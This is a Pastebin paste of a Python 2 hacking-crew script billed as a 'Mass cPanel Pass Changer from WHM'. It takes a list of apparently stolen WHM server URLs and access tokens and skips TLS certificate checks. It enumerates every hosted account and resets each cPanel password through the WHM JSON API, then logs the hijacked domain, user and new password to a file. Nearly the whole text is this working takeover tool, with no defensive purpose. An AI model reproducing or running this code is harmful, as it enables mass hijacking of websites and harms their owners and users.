Advertisement
Guest User

Untitled

a guest
Apr 20th, 2019
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.20 KB | None | 0 0
  1. #cOded by Skidie khan ~ TeaM_CC
  2. import urllib2, urllib, httplib, re, sys, random,string , json, ssl
  3.  
  4. prefix1 = "magee"
  5.  
  6. lame = '''
  7. [=] Mass cPanel Pass Changer from WHM [=]
  8. [+] Coded By Skidie Khan [+]
  9. [-]TeaM Cyb3r Command0s[-]
  10.  
  11. ''' #lamers can change their logo here :V
  12. print lame
  13. extraLove = ['@','47','V','T','G']
  14. hardcore = ''.join(random.choice(extraLove) for _ in range(2))
  15. ctx = ssl.create_default_context()
  16. ctx.check_hostname = False
  17. ctx.verify_mode = ssl.CERT_NONE
  18. xlist = open("x.txt","r").read().replace("\r","").split("\n")
  19. for xitem in xlist:
  20. with open("checked.txt","a+") as ort:
  21. ort.write(xitem+"\n")
  22. try:
  23. url, access = xitem.split("|")
  24. except Exception:
  25. continue
  26. opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx))
  27. ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A'
  28. opener.addheaders = [('User-agent', ua),('Authorization','WHM ' + access)]
  29. try:
  30. viewall = opener.open(url + '/json-api/listaccts').read()
  31. if not '"acct":' in viewall:
  32. print "\!/ The hell Access Denied!"
  33. continue
  34. except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
  35. print "Error!! in first request...!"
  36. print str(e)
  37. continue
  38. uinfos = json.loads(viewall)
  39. uns = []
  40. for userdata in uinfos['acct']:
  41. leetsname = userdata.get('user')
  42. uns.append(leetsname)
  43. leetsweb = userdata.get('domain')
  44. rand_pass = lambda n: ''.join([random.choice(string.lowercase) for i in xrange(n)])
  45. leet_pass = hardcore + rand_pass(6) + prefix1
  46.  
  47. churl = url + '/json-api/passwd?api.version=1&user='+leetsname+'&password=' + leet_pass
  48. req = urllib2.Request(churl)
  49. try:
  50. changeit = opener.open(req).read()
  51. if "has been changed" in changeit:
  52. with open('changed.txt','a+') as e:
  53. formatit = leetsweb + ':2082' + '|' + leetsname + '|' + leet_pass
  54. e.write(formatit+'\n')
  55. print formatit
  56. else:
  57. continue
  58. except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
  59. print "Error!! changing pass...![maybe suspended]"
  60. print str(e)
  61. print "\nignoring and continue"
  62. continue
  63.  
  64. print "[+] Saved as y.txt ."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement